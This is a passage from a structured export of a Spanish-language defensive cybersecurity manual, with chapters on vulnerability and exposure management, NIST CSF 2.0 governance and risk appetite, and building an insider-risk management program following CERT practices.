informe ya listaba.\nLa segunda mitad es más profunda, y ordena el resto del capítulo. El salto de madurez no consiste en escanear mejor, sino en dejar de puntuar hallazgos aislados y empezar a evaluar caminos. Una vulnerabilidad de severidad media en un servidor que da acceso a las credenciales de dominio importa más que una vulnerabilidad crítica en un equipo aislado sin conexiones valiosas, y ninguna puntuación estática lo puede ver, porque la puntuación no conoce la topología. El adversario no ataca vulnerabilidades: encadena caminos, y el defensor que puntúa hallazgos sueltos está midiendo una cosa distinta de la que le van a explotar.\nEl ciclo, y por qué empieza en el inventario La gestión de vulnerabilidades madura no es un escaneo periódico sino un ciclo continuo, y su forma canónica tiene seis fases: inventario de activos, evaluación del riesgo para priorizar, evaluación técnica de las debilidades, documentación de los hallazgos, rastreo de la remediación hasta su cierre, y respuesta operativa que despliega los parches. Reaccionar pasivamente a las alertas del escáner, sin este ciclo, es exactamente lo que la primera mitad de la tesis descarta.\nLa fase que se subestima es la primera, y su omisión invalida todo lo que sigue: no se puede remediar lo que no se sabe que existe. Un programa que escanea el rango de red que conoce deja fuera, por definición, los activos que no inventarió —el servidor que un equipo levantó sin avisar, el servicio expuesto que nadie registró, el dispositivo que quedó fuera del alcance del agente—, y son precisamente esos, los que nadie vigila, los que el adversario encuentra primero. Es el mismo requisito previo que 1.5 estableció para el programa de inteligencia: sin un inventario de lo que hay que proteger, todo lo demás opera con puntos ciegos estructurales. El inventario no es la tarea aburrida que precede al trabajo interesante; es la condición de que el trabajo interesante signifique algo.\nLa velocidad es la variable dominante Si hubiera que elegir una sola métrica para un programa de gestión de exposición, no sería cuántas vulnerabilidades se encuentran sino cuánto tarda una vulnerabilidad conocida en cerrarse. El tiempo entre la publicación de un parche y su instalación es la ventana en la que la organización es vulnerable a algo que ya tiene solución, y la historia del sector muestra que esa ventana, no la sofisticación del ataque, es lo que decide los desastres.\nDos casos lo fijan. El gusano MS Blaster comprometió redes corporativas enteras apenas veintiséis días después de que se publicara el parche que lo prevenía: no explotó un día cero, explotó la lentitud del despliegue. Y WannaCry cifró organizaciones en todo el mundo usando una técnica —EternalBlue— cuya mitigación estaba disponible meses antes del ataque masivo; quienes cayeron no carecían de la solución, carecían de un proceso para aplicarla a tiempo. La lección incómoda que se desprende de ambos es que el problema casi nunca es técnico, es de proceso de cambio: el parche existe, se conoce, y no se aplica porque desplegarlo requiere una ventana de mantenimiento, un reinicio que interrumpe un servicio, una prueba de regresión que nadie priorizó. La gestión de exposición es, en el fondo, una disciplina de gestión del cambio más que de seguridad técnica.\nEsa realidad obliga a la distinción entre remediación y mitigación. La remediación erradica la falla —instalar el parche, actualizar la versión— y es el final del ciclo. La mitigación reduce el riesgo sin eliminarlo —bloquear un puerto, desactivar un servicio, añadir una regla de firewall— y es lo que se hace cuando la remediación no puede aplicarse todavía: el sistema no se puede reiniciar en horario laboral, el parche rompe una aplicación crítica, el proveedor aún no lo publicó. La mitigación compra tiempo; no lo cierra. Confundirlas —dar por resuelto lo que solo está contenido— es una de las formas en que un hallazgo desaparece del tablero sin haber dejado de ser explotable.\nRastreo con dueño y fecha, o el hallazgo no existe Aquí la gestión de exposición hereda, palabra por palabra, la disciplina que ordenó los tres capítulos anteriores. Un hallazgo sin dueño y fecha no es un pendiente: es una decisión tácita de no hacer nada, la misma quinta salida que 6.1 proscribió y que 6.4 volvió a rechazar para las decisiones de crisis. La detección de una vulnerabilidad carece de valor sin un proceso estructurado para subsanarla; el mecanismo concreto es un sistema de seguimiento por tickets que asigna cada hallazgo a un responsable con un plazo, y que confirma la remediación en lugar de suponerla.\nEl falso positivo del escáner es un impuesto permanente, no un defecto pasajero. El mayor lastre de un programa de gestión de vulnerabilidades es el volumen de falsos positivos: hallazgos que el escáner marca y que no son explotables —la versión parcheada por backport que el escáner lee como vulnerable, el servicio que responde pero está aislado, la firma que coincide con una configuración benigna—. No desaparecen con una herramienta mejor; son inherentes a la detección automatizada, y consumen el recurso más escaso del programa, que es la atención del analista. Un programa que trata cada hallazgo como verdadero se ahoga; uno que los ignora en bloque se pierde los reales. La salida es la priorización que ocupa las dos secciones siguientes: no verificar todo, sino verificar primero lo que la inteligencia de explotación y la topología señalan como importante. Priorizar por explotación activa, no por severidad nominal El instinto de priorizar por la puntuación CVSS —atender primero las «críticas», después las «altas»— produce una cola inmanejable, porque el número de vulnerabilidades calificadas como críticas excede con holgura la capacidad de remediación de cualquier organización. Y es una cola mal ordenada, porque el CVSS mide la gravedad teórica de una vulnerabilidad en abstracto, no la probabilidad de que alguien la explote en la práctica.\nLa corrección es la que 1.2 desarrolló como señal de explotación (exploit signal) y que aquí solo se aplica, no se rehace: priorizar por evidencia de explotación activa en el mundo real. El catálogo KEV (Known Exploited Vulnerabilities) enumera las vulnerabilidades que se están explotando de hecho, y el puntaje EPSS (Exploit Prediction Scoring System) estima la probabilidad de que una vulnerabilidad se explote en los próximos días. Cruzar los hallazgos del escáner contra esas fuentes reordena la cola de forma dramática: una media que está en KEV se atiende antes que una crítica que nadie explota, porque el riesgo real —no el nominal— es mayor. La priorización deja de ser una lectura del CVSS y pasa a ser una intersección entre lo que se tiene expuesto y lo que se está explotan","section":"P6 · Purple Team y Validación","summary":"El capítulo que cierra la Parte 6. Sostiene una tesis doble: un escáner sin ciclo de remediación no produce seguridad sino ruido con apariencia de diligencia, y el salto de madurez no es escanear mejor sino dejar de puntuar hallazgos aislados para empezar a evaluar caminos de ataque —una vulnerabilidad media en un host que da acceso a las credenciales de dominio importa más que una crítica en un equipo aislado, y el CVSS no lo puede ver porque no conoce la topología—. Recorre el ciclo de gestión de vulnerabilidades, la velocidad como variable dominante, la priorización por explotación activa frente al CVSS estático, y la gestión de caminos de ataque como generalización de lo que BloodHound hizo para Active Directory. Cierra la Parte devolviendo el foco a la validación: el parche que se cree aplicado también es un supuesto.","tags":["purple-team","validacion","gestion-vulnerabilidades","gestion-exposicion","attack-path","priorizacion","blue-team"],"title":"6.5 · Gestión de exposición: de la vulnerabilidad al camino de ataque","url":"/speculum/p6-purple/6-5-gestion-exposicion/"},{"content":"Panorama Las seis Partes anteriores construyeron capacidades: inteligencia sobre el adversario, técnicas ofensivas y su contracara defensiva, detección superficie por superficie, validación empírica de que todo eso funciona. Lo que ninguna respondió es una pregunta que no es técnica y sin la cual las demás quedan sin ancla: ¿quién decide qué proteger, con qué presupuesto, bajo qué política, y quién rinde cuentas cuando falla? Esa es la materia de la gobernanza, y es lo que esta Parte agrega.\nEl instrumento de referencia para ordenarla es el Cybersecurity Framework (CSF) 2.0 del NIST, y conviene entender primero qué tipo de documento es, porque su naturaleza determina cómo se usa. El CSF es un marco de resultados: no prescribe herramientas ni configuraciones, sino que describe qué debe lograr una organización en materia de ciberseguridad y deja el cómo a cada quien. Es voluntario, agnóstico de sector, país y tecnología, y está pensado para servir a una empresa multinacional tanto como a un municipio pequeño. Su valor no está en decir algo que un técnico no sepa, sino en ofrecer un lenguaje común con el que el técnico, el director financiero y el consejo de administración pueden hablar de lo mismo sin traducirse mal.\nLa tesis que abre la Parte se apoya en ese carácter: la ciberseguridad no es un dominio técnico aislado, sino un componente de la gestión de riesgo empresarial (Enterprise Risk Management). El riesgo cibernético compite por recursos con el riesgo financiero, el legal y el operativo, se decide con los mismos criterios y se reporta a las mismas instancias. Un programa que se piensa a sí mismo como una función técnica separada —el equipo de seguridad contra el resto de la empresa— es un programa sin mandato, y un programa sin mandato no sobrevive al primer recorte de presupuesto ni al primer incidente que exponga que nadie era responsable.\nEl manual ya era una implementación del CSF, sin el techo Hay un modo de leer el CSF que lo vuelve inmediatamente útil para este manual, y es notar que su estructura describe exactamente el recorrido hecho hasta aquí. El Core del CSF organiza los resultados en seis Funciones, y cinco de ellas son operativas y ya están construidas en las Partes anteriores:\nIDENTIFY (comprender activos, riesgos y contexto) es lo que hicieron el programa de inteligencia de la Parte 1 y el inventario y la gestión de exposición de 6.5. PROTECT (salvaguardas preventivas: control de acceso, cifrado, resiliencia) es la contracara defensiva que cada capítulo ofensivo de las Partes 3 y 4 desarrolló —el hardening, el least privilege, la segmentación—. DETECT (monitoreo y descubrimiento de eventos adversos) es la Parte 5 entera, de la telemetría a la caza. RESPOND (contención y mitigación) y RECOVER (restauración de capacidades) son las dos mitades de 5.4, el ciclo de respuesta y la recuperación con continuidad de negocio. La sexta función es la que no tiene un capítulo previo, y no por olvido: es la que faltaba. GOVERN —la gobernanza del riesgo: estrategia, política, roles, supervisión, gestión del riesgo de la cadena de suministro— es la novedad estructural de la versión 2.0 del marco, que antes daba por supuesta la dirección y ahora la hace explícita. Y su posición no es la de una sexta función al lado de las otras cinco, sino la de una capa por encima: GOVERN establece el contexto, el apetito de riesgo y las autoridades dentro de los cuales las otras cinco operan. El manual llega a la Parte 7 habiendo construido una implementación del CSF a la que le faltaba el techo; esta Parte lo pone.\nflowchart TB GV[\"GOVERN — estrategia, política, roles, riesgo, C-SCRM\\n(la capa que decide y rinde · Parte 7, lo que faltaba)\"] GV --\u003e ID[\"IDENTIFY\\nactivos, riesgo, contexto\\n→ P1 + 6.5\"] GV --\u003e PR[\"PROTECT\\nsalvaguardas preventivas\\n→ hardening de P3/P4\"] GV --\u003e DE[\"DETECT\\nmonitoreo y descubrimiento\\n→ P5 entera\"] GV --\u003e RS[\"RESPOND\\ncontención y mitigación\\n→ 5.4\"] GV --\u003e RC[\"RECOVER\\nrestauración y continuidad\\n→ 5.4\"]La estructura del Core: resultados, no controles El Core del CSF tiene tres niveles de granularidad, y entenderlos evita el error de tratarlo como una lista de tareas. Las seis Funciones se subdividen en Categorías —grupos de resultados relacionados— y estas en Subcategorías, que son resultados concretos y verificables. Cada elemento tiene un código legible: GV.OC es la categoría de contexto organizacional dentro de GOVERN, ID.AM es la gestión de activos dentro de IDENTIFY, DE.CM es el monitoreo continuo dentro de DETECT, y así. Ese código es lo que permite decir «tenemos un hueco en DE.CM» y que un auditor, un proveedor y un directivo entiendan lo mismo.\nLa decisión de diseño que importa es que las Subcategorías se expresan como resultados, no como controles. El marco dice «las anomalías y los eventos se detectan y se analiza su impacto potencial», no «instale un SIEM de tal fabricante». Esa abstracción es deliberada y tiene una consecuencia práctica: el marco no envejece con la tecnología. Un control concreto —una herramienta, un producto— queda obsoleto; el resultado que se busca con él permanece. Por eso el CSF puede mapear sus Subcategorías a estándares y regulaciones externas mediante referencias informativas —enlaces que dicen «este resultado se corresponde con tal control de la ISO 27001 o de los CIS Controls»— sin atarse a ninguno. El técnico implementa controles; el marco ordena los resultados que esos controles deben producir.\nGOVERN: por qué es el techo y no una función más La función GOVERN merece su capítulo propio —es el objeto de 7.2— pero su papel estructural se entiende aquí. GOVERN agrupa los resultados que fijan las condiciones de todo lo demás: comprender el contexto y la misión de la organización (GV.OC), establecer una estrategia de gestión de riesgo con un apetito definido (GV.RM), asignar roles, responsabilidades y autoridades (GV.RR), fijar la política (GV.PO), supervisar que la estrategia se cumpla (GV.OV) y gestionar el riesgo de la cadena de suministro (GV.SC).\nLo que estos resultados tienen en común, y lo que los pone por encima de las otras cinco funciones, es que ninguno es una capacidad técnica: todos son decisiones. Cuánto riesgo se acepta, quién tiene autoridad para aceptarlo, qué se prioriza cuando el presupuesto no alcanza para todo, quién responde ante el consejo cuando algo falla. Sin esas decisiones tomadas y documentadas, las funciones operativas trabajan en el vacío: el equipo de detección no sabe qué priorizar porque nadie definió qué activos importan más, y el analista de guardia no sabe si puede desconectar un sistema de producción porque nadie le dio —ni le negó— esa autoridad. Es el mismo hueco que 6.4 encontró en la crisis: lo que falla no es el sensor, es la decisión sin dueño. GOVERN es la función que le pone dueño a las decisiones antes de que la crisis las exija.\nPerfiles organizacionales: del diagnóstico al plan El CSF no se usa marcando Subcategorías como una lista de verificación, sino construyendo perfiles organizacionales (Organizational Profiles). Un perfil describe el estado de la postura de ciberseguridad en términos de los resultados del Core, y se construye por pares: un Current Profile documenta qué resultados se logran hoy, y un Target Profile documenta cuáles se quieren lograr, priorizados según los objetivos y el apetito de riesgo de la organización. La diferencia entre ambos es un análisis de brechas (gap analysis), y esa brecha —no la lista completa de Subcategorías— es lo que se convierte en un plan de acción con prioridades, plazos y presupuesto. Es el instrumento que traduce «estamos inseguros», que no es accionable, en «nos falta cobertura de monitoreo en el segmento industrial y el objetivo es cerrarla en noventa días», que sí lo es.\nEl Current Profile honesto sale de medir, no de suponer. Un perfil actual construido preguntándole a cada responsable si cumple su parte produce el mismo resultado que 6.1 desarmó al abrir la Parte anterior: una foto de lo que","section":"P7 · Gobernanza, Frameworks y Riesgo","summary":"El capítulo que abre la Parte 7. Sostiene que la ciberseguridad no es un dominio técnico aislado sino un componente de la gestión de riesgo empresarial, y que el NIST CSF 2.0 ofrece una taxonomía de resultados —qué lograr, no cómo— cuya innovación estructural, la función GOVERN, es exactamente la capa que el manual no había construido: todo lo anterior implementó las cinco funciones operativas —identificar, proteger, detectar, responder, recuperar—, y GOVERN es el techo que las decide, las financia y las rinde. Presenta la jerarquía del Core, los perfiles organizacionales como instrumento de análisis de brechas que consume la validación de la Parte 6, y los cuatro Tiers de madurez como una decisión de apetito de riesgo, no como una escalera donde más siempre es mejor.","tags":["gobernanza","nist-csf","gestion-de-riesgo","frameworks","madurez","blue-team","estrategia"],"title":"7.1 · El marco de gobernanza: NIST CSF 2.0 y la función GOVERN","url":"/speculum/p7-gobernanza/7-1-marco-gobernanza/"},{"content":"Panorama El capítulo anterior situó a GOVERN como el techo del marco: la función que no es una capacidad técnica sino un conjunto de decisiones, y que fija las condiciones dentro de las cuales operan las otras cinco. Este capítulo entra en esa función y muestra cómo se ejerce, porque «gobernar el riesgo» suena a abstracción de consultoría hasta que se desglosa en las cosas concretas que alguien tiene que decidir, escribir y firmar.\nLa tesis es directa: GOVERN traduce el apetito de riesgo de la dirección en autoridad, política y presupuesto. Ese es todo su trabajo, y es un trabajo de traducción porque el apetito de riesgo empieza como una postura difusa —cuánta pérdida está dispuesta a tolerar la organización a cambio de cuánta agilidad— y tiene que terminar como instrucciones ejecutables: esta política, este rol con esta autoridad, esta partida de presupuesto. Sin esa capa, las decisiones que las funciones operativas toman a diario —qué vulnerabilidad se parchea primero, cuál se acepta, si se desconecta un sistema de producción a las tres de la mañana— se toman sin mandato. Y una decisión sin mandato es frágil de una forma específica: se sostiene mientras nadie la cuestione, y se derrumba en cuanto hay que defenderla ante un auditor, un regulador o un consejo que pregunta quién autorizó eso. La diferencia que GOVERN introduce es la que separa «el analista decidió» de «la organización decidió», y esa diferencia no es de matiz: es la que determina si la decisión resiste el escrutinio posterior a un incidente.\nEl CSF organiza GOVERN en seis categorías, y conviene recorrerlas no como una lista sino como una cascada: el contexto define para qué existe la organización, la estrategia de riesgo fija cuánto está dispuesta a arriesgar, los roles reparten quién decide, la política escribe las reglas, la supervisión comprueba que se cumplan, y la gestión de la cadena de suministro extiende todo lo anterior a lo que la organización no controla directamente.\nflowchart TB OC[\"GV.OC — contexto y misión\\n¿para qué existe la organización?\"] RM[\"GV.RM — estrategia de riesgo\\napetito y tolerancia\"] RR[\"GV.RR — roles y autoridades\\n¿quién decide? ¿quién acepta? ¿quién desconecta?\"] PO[\"GV.PO — política\\nlas reglas escritas y aplicadas\"] OC --\u003e RM RM --\u003e RR RM --\u003e PO RR --\u003e OPS[\"las cinco funciones operativas\\nIDENTIFY · PROTECT · DETECT · RESPOND · RECOVER\"] PO --\u003e OPS OV[\"GV.OV — supervisión\\n¿se está cumpliendo la estrategia?\"] OPS -.métricas honestas.-\u003e OV OV -.ajusta.-\u003e RM SC[\"GV.SC — cadena de suministro\\nla superficie que no se controla directamente\"] RM --\u003e SCGV.OC — el contexto es el punto de partida, no un preámbulo La primera categoría, contexto organizacional (GV.OC), parece la más prescindible —el apartado de misión y visión que nadie lee— y es en realidad la que evita el error más común de un programa de seguridad: proteger todo por igual. Comprender el contexto significa saber para qué existe la organización, qué la haría fracasar, a qué regulaciones está sujeta y qué esperan de ella sus clientes y sus reguladores. Ese entendimiento es lo que convierte una lista plana de activos en una jerarquía de importancia. Un hospital y un banco pueden tener la misma infraestructura técnica y apetitos de riesgo opuestos: para el banco el peor resultado es la fuga de datos financieros, para el hospital es la interrupción de un sistema del que depende una vida. Sin ese contexto, las cinco funciones operativas trabajan a ciegas —protegen, detectan y responden sin saber qué es lo que de verdad no puede fallar—, y un programa que no distingue lo crítico de lo accesorio termina gastando lo mismo en ambos, que es otra forma de no proteger lo crítico.\nEl contexto es también lo que ancla la seguridad en la gestión de riesgo empresarial que abrió 7.1. El riesgo cibernético no se evalúa en su propia escala aislada, sino en la misma en la que la organización mide el riesgo financiero, legal y operativo, porque compite con ellos por el mismo presupuesto y se decide con los mismos criterios. GV.OC es la categoría que fuerza esa integración: obliga a expresar el riesgo cibernético en términos de impacto sobre la misión, que es el único lenguaje en el que el consejo de administración puede compararlo con todo lo demás que le disputa recursos.\nGV.RM — apetito y tolerancia de riesgo: la decisión que ordena todo lo demás La categoría de estrategia de gestión de riesgo (GV.RM) es donde la gobernanza toma su decisión más consecuente: cuánto riesgo acepta la organización. Conviene distinguir dos términos que suelen usarse como sinónimos y no lo son. El apetito de riesgo (risk appetite) es la cantidad de riesgo que la organización está dispuesta a asumir en general, en la búsqueda de sus objetivos —una postura estratégica, cualitativa, fijada por la dirección—. La tolerancia de riesgo (risk tolerance) es la desviación aceptable respecto de ese apetito en un contexto concreto y medible —cuántas horas de indisponibilidad de tal servicio se toleran, cuántos registros expuestos disparan la notificación obligatoria—. El apetito es la orientación; la tolerancia es el umbral operativo que se deriva de ella. Un programa que fija apetito pero no lo aterriza en tolerancias medibles deja a los equipos operativos sin criterio: saben que la organización «es conservadora con los datos de clientes» pero no saben si mil registros expuestos son un incidente menor o una crisis.\nEsta es la categoría que conecta la gobernanza con la validación de la Parte anterior de la forma más directa. El capítulo 6.1 estableció que ante cualquier riesgo identificado hay cuatro salidas posibles —prevenir (implementar un control que lo elimine o reduzca), detectar (aceptar que puede ocurrir pero garantizar que se verá), cazar (buscar proactivamente su materialización) y aceptar con dueño (asumirlo de forma consciente y documentada)—. Lo que 6.1 no decía, porque es materia de gobernanza, es quién decide cuál de las cuatro se aplica a cada riesgo. Esa decisión es exactamente el aterrizaje del apetito: una organización con apetito bajo previene donde otra aceptaría, y la cuarta salida —aceptar— solo es legítima cuando la toma quien tiene autoridad para comprometer a la organización, no cuando un equipo se queda sin presupuesto y la acepta por omisión. El apetito de riesgo es lo que hace que la elección entre las cuatro salidas sea una política y no una improvisación.\nLa aceptación de riesgo sin dueño no es aceptación, es negligencia. La diferencia entre aceptar un riesgo y simplemente no tratarlo es enteramente de gobernanza: aceptar es una decisión registrada, con un responsable nombrado, una justificación y una fecha de revisión; no tratar es lo que ocurre cuando nadie decidió nada y el riesgo quedó vivo por defecto. Ante un incidente, la primera resiste la pregunta «¿quién sabía de esto y qué hizo?» —había un dueño, una evaluación y una decisión consciente— y la segunda no tiene respuesta. Por eso la gestión de exposición insiste en que cada riesgo aceptado tenga nombre y fecha: un registro de aceptaciones sin dueños es una lista de huecos que nadie eligió dejar abiertos. GV.RR — roles y autoridades: quién decide, quién acepta, quién desconecta La categoría de roles, responsabilidades y autoridades (GV.RR) responde a las preguntas que un incidente formula sin piedad: ¿quién puede aceptar este riesgo?, ¿quién tiene autoridad para desconectar producción?, ¿quién rinde cuentas ante el consejo cuando algo falla? Son preguntas que parecen burocráticas hasta que hay que contestarlas en caliente y no hay respuesta escrita. El ejercicio de crisis de 6.4 mostró que el punto de quiebre más frecuente no es técnico sino de autoridad: el equipo sabe lo que hay que hacer pero no sabe si tiene permiso para hacerlo, y mientras se busca a quien pueda autorizarlo el atacante sigue trabajando. GV.RR es la categoría que previene ese quiebre asignando las autoridades antes de que la crisis las reclame.\nUna herramienta útil para hacerlo explícit","section":"P7 · Gobernanza, Frameworks y Riesgo","summary":"El capítulo que baja de la taxonomía del marco a la función GOVERN en detalle. Sostiene que la gobernanza traduce el apetito de riesgo de la dirección en autoridad, política y presupuesto, y que sin esa capa las decisiones operativas —qué se parchea, qué se acepta, quién desconecta— se toman sin mandato y no se sostienen: es la diferencia entre «el analista decidió» y «la organización decidió». Recorre las seis categorías de GOVERN —contexto organizacional, estrategia de riesgo, roles y autoridades, política, supervisión y gestión del riesgo de la cadena de suministro—, aterriza el apetito de riesgo en las cuatro salidas de la validación de la Parte 6, señala el modo de fallo político de las métricas que solo saben subir, y cierra con C-SCRM como la superficie que no se controla directamente y que solo se gobierna por contrato y monitoreo del ciclo de vida del proveedor.","tags":["gobernanza","nist-csf","gestion-de-riesgo","politica","cadena-de-suministro","c-scrm","blue-team","estrategia"],"title":"7.2 · Riesgo, política y cadena de suministro (C-SCRM)","url":"/speculum/p7-gobernanza/7-2-riesgo-politica-cscrm/"},{"content":"Panorama Los dos capítulos anteriores establecieron la gobernanza en abstracto: el marco de resultados y la función que fija apetito, política y autoridad. Este capítulo la lleva al terreno donde deja de ser abstracta y se vuelve el único control que queda: la amenaza interna (insider threat). Es el caso elegido para cerrar la Parte no por exótico sino por lo contrario —es el que mejor demuestra la tesis del capítulo que abrió P7: que la seguridad, en el límite, es un problema de organización antes que de tecnología—.\nLa razón es estructural. Todo el aparato defensivo que las Partes anteriores construyeron —perímetro, detección de intrusión, hardening, control de acceso— presupone un adversario que está afuera y quiere entrar. El insider invierte esa presunción: ya tiene acceso legítimo. Sus credenciales son válidas, su equipo está administrado, sus horarios son los normales, y los datos que toca son los que su rol le permite tocar. No hay una puerta que forzar porque tiene la llave. Contra ese adversario, casi ninguna de las técnicas de detección basadas en firmas o en anomalías de intrusión sirve, porque no hay intrusión: hay un uso legítimo de un acceso legítimo que en algún momento se tuerce hacia un fin que la organización no autorizó. La detección del insider —lo desarrolló la Parte 5— es por eso el escenario que no tiene indicadores de compromiso y descansa enteramente sobre el comportamiento. Este capítulo no rehace esa detección técnica; toma el problema desde arriba, desde la pregunta de gobernanza que la hace posible: ¿cómo se gestiona un riesgo que no se puede eliminar y que además nace de la propia gente en la que la organización tiene que confiar para funcionar?\nLa respuesta del CERT —el equipo del Software Engineering Institute de Carnegie Mellon que publica la guía de referencia sobre el tema— es que no se elimina, se gestiona con un programa. Y un programa, no un producto ni un equipo: una estructura deliberada, multidisciplinaria y basada en evidencia. La tesis del capítulo se sigue de la naturaleza del adversario: como el insider no se frena en un perímetro que ya cruzó legítimamente, los dos controles que de verdad rinden son el least privilege —limitar lo que cada acceso legítimo alcanza, de modo que un abuso llegue lo menos lejos posible— y la correlación de señales entre dominios que ninguna área ve completa sola. El área de IT ve una descarga masiva pero no sabe que ese empleado presentó su renuncia ayer; recursos humanos sabe de la renuncia pero no ve la descarga; legal conoce una disputa salarial que a ninguno de los dos le consta. La señal de riesgo solo existe cuando esos fragmentos se juntan, y juntarlos es una función organizativa, no técnica.\nLos seis arquetipos y el ciclo de vida como eje temporal El CERT clasifica los incidentes de amenaza interna en seis arquetipos, y conocerlos importa porque cada uno tiene un perfil de motivación, de activo objetivo y de momento distinto:\nSabotaje de IT (IT sabotage): un empleado con credenciales técnicas borra, altera o interrumpe sistemas vitales, casi siempre como venganza por un agravio percibido. Es el arquetipo del administrador o desarrollador descontento —el que cifra el código fuente y borra la copia base antes de irse—. Robo de propiedad intelectual (theft of IP): la sustracción de código propietario, secretos industriales o datos de investigación, típicamente para llevárselos a un competidor o a un emprendimiento propio. El investigador que descarga quince mil documentos en las semanas previas a renunciar es el caso testigo. Fraude: el uso de un acceso legítimo —contable, financiero, administrativo— para el beneficio económico personal, manipulando registros para ocultarlo. Espionaje: la exfiltración de información en beneficio de un tercero, con frecuencia un estado o un competidor, a veces con el insider reclutado o coaccionado desde afuera. Amenaza no intencional (unintentional insider threat): la exposición de información sin dolo, por negligencia o error —el empleado que cae en un phishing, que envía datos al destinatario equivocado, que deja un repositorio abierto—. No hay malicia, pero el daño es real, y es el arquetipo más frecuente de todos. Uso indebido: el abuso de recursos o accesos fuera de lo autorizado sin encajar limpiamente en las categorías anteriores. El dato empírico que ordena la respuesta a todos ellos es que los desencadenantes más frecuentes de los incidentes maliciosos son el despido y la renuncia. El empleado que va a irse —o que acaba de enterarse de que lo van a echar— es el que sabotea, el que roba la propiedad intelectual, el que cobra la última factura de un resentimiento. Eso convierte el ciclo de vida del empleado en el eje temporal del programa: el riesgo no es constante, se concentra en momentos identificables —la contratación (¿qué trae esta persona?), el empleo (¿cómo evoluciona su relación con la organización?) y sobre todo la terminación (el momento de máximo riesgo empírico)—. Un programa que trata a todos los empleados igual todo el tiempo malgasta atención; uno que la concentra donde el ciclo de vida la concentra es el que llega a tiempo. Ese eje temporal atraviesa toda la Parte y se cierra en 7.4 con los controles de deprovisionamiento.\nflowchart TB IT[\"IT / Seguridad\\ndescarga masiva, acceso a repositorio inusual,\\nlogin fuera de horario\"] HR[\"Recursos Humanos\\nrenuncia presentada, evaluación negativa,\\ncambio en la situación laboral\"] LG[\"Legal\\ndisputa salarial, acuerdo de confidencialidad,\\nrestricción por investigación\"] FIS[\"Seguridad Física\\nacceso al edificio fuera de horario,\\nintento de sacar material\"] IT --\u003e IRMP HR --\u003e IRMP LG --\u003e IRMP FIS --\u003e IRMP IRMP[\"IRMP — comité multidisciplinario\\ncorrelaciona lo que ninguna área ve sola\\n(evalúa el riesgo, protege la privacidad del investigado)\"] IRMP --\u003e RIESGO[\"señal de riesgo\\n= la suma, no cualquier fragmento aislado\"]IRMP: gestión de riesgo, no vigilancia El nombre que el CERT da al programa es deliberado: Insider Risk Management Program (IRMP), no «programa de amenaza interna». La diferencia de palabra marca una diferencia de enfoque que es central. Un «programa de amenaza interna» sugiere vigilancia —tratar a cada empleado como un sospechoso— y ese encuadre es a la vez éticamente problemático y operativamente contraproducente: un entorno donde el personal se siente vigilado es un entorno de desconfianza, y la desconfianza es precisamente uno de los factores que eleva el riesgo que se pretende reducir. Un programa de gestión de riesgo interno, en cambio, trata al insider como se trata cualquier otro riesgo empresarial: se evalúa su probabilidad y su impacto, se decide cuánto se tolera, se implementan controles proporcionados y se aceptan con dueño los residuos. Es el mismo lenguaje de riesgo que la función GOVERN de 7.2 aplica a todo lo demás, aplicado ahora a las personas.\nEsa distinción tiene una consecuencia práctica inmediata: como es gestión de riesgo, el objetivo no es la prevención total —el CERT es explícito en que la amenaza interna no se puede prevenir al cien por ciento— sino alcanzar un nivel de riesgo aceptable y mantener la resiliencia operativa para el caso en que un incidente se materialice. Un programa que se vende como capaz de eliminar el riesgo del insider está prometiendo lo imposible, y prometer lo imposible es la forma más rápida de perder el mandato cuando el incidente inevitable ocurra. El programa maduro no promete que no pasará; promete que si pasa se verá, se contendrá y se aprenderá.\nBP1 — Los activos críticos primero: no se protege lo que no se inventarió La primera práctica del CERT es la más básica y la que más se salta: conocer y priorizar los activos críticos. La función más elemental de un IRMP, dice la guía, es proteger los activos que le dan a la organización su ventaja competitiva, y no se puede proteger lo que no se sabe que se tiene. El inventario abarca más que sistemas: personas, información, infraestructura física y platafor","section":"P7 · Gobernanza, Frameworks y Riesgo","summary":"El capítulo que aplica la gobernanza a su caso más incómodo: el adversario que ya está adentro con acceso legítimo. Sostiene que la amenaza interna no se elimina sino que se gestiona con un programa estructurado, multidisciplinario y basado en evidencia —un Insider Risk Management Program, IRMP—, y que a diferencia del atacante externo el insider no se frena en el perímetro sino con least privilege y con la correlación de señales entre dominios que ninguna área ve completa sola: IT, recursos humanos, legal y seguridad física. Presenta los seis arquetipos de incidente y el ciclo de vida del empleado como eje temporal —con el despido y la renuncia como los desencadenantes empíricos más frecuentes—, distingue gestión de riesgo de vigilancia, y recorre las tres primeras prácticas del CERT: inventariar los activos críticos, formalizar el programa con patrocinio de la dirección, y aplicar los controles administrativos con una consistencia que es a la vez control preventivo y prueba jurídica. Enlaza la detección técnica a la Parte 5 y la crisis a la Parte 6 sin rehacerlas.","tags":["gobernanza","amenaza-interna","insider-threat","irmp","gestion-de-riesgo","cert","blue-team","cultura-organizacional"],"title":"7.3 · El programa de amenaza interna (IRMP)","url":"/speculum/p7-gobernanza/7-3-programa-insider/"},{"content":"Panorama El capítulo anterior montó el programa —los activos que protege, la estructura que lo gobierna, las reglas que aplica— y dejó dos cabos pendientes: los controles concretos que el programa ejecuta y la observación de que la cultura organizacional es, ella misma, una variable de seguridad. Este capítulo los recoge y con ellos cierra la Parte. El CERT organiza sus recomendaciones en un catálogo de veintidós prácticas (Best Practices), y la tentación de leerlas como una lista de compras —veintidós cosas que instalar o firmar— es exactamente el error que hay que evitar. No son veintidós herramientas: son tres planos de control que solo funcionan integrados —el administrativo y humano, el técnico y el de ciclo de vida—, y su valor está en cómo se refuerzan entre sí, no en la suma.\nLa tesis del capítulo elige entre esos tres planos el que el resto del manual no pudo cubrir y que, contra la intuición técnica, es el que más rinde: el plano humano. Todas las Partes anteriores operan sobre el comportamiento ya desviado —detectan la exfiltración, contienen el sabotaje, revocan el acceso abusado—; el plano humano opera aguas arriba, sobre la motivación, antes de que haya nada técnico que detectar. Y como la mayoría de los actos internos maliciosos nacen de un agravio antes que de un plan, un control que desactiva el agravio previene el incidente en su origen, donde ningún sensor llega. Ese es el aporte propio de la gobernanza al problema del insider: no una técnica nueva, sino la atención a la dimensión —la de las personas y su relación con la organización— que la técnica no alcanza.\nflowchart TB subgraph H[\"Plano humano — aguas arriba (la motivación)\"] direction TB H1[\"BP4 conducta preocupante desde la contratación\\nBP5 gestión de la crisis laboral\\nBP6 terceros de confianza\\nBP7 OPSEC / redes sociales\"] H2[\"BP8 carga de trabajo y estrés\\nBP9 concientización\\nBP21 justicia organizacional e incentivos positivos\"] end subgraph T[\"Plano técnico — durante (el comportamiento) · REFERENCIADO\"] T1[\"BP10-11 identidad y cuentas privilegiadas → 4.9\\nBP12-14 UAM · SIEM · UEBA · peer-group → 5.9\\nBP15 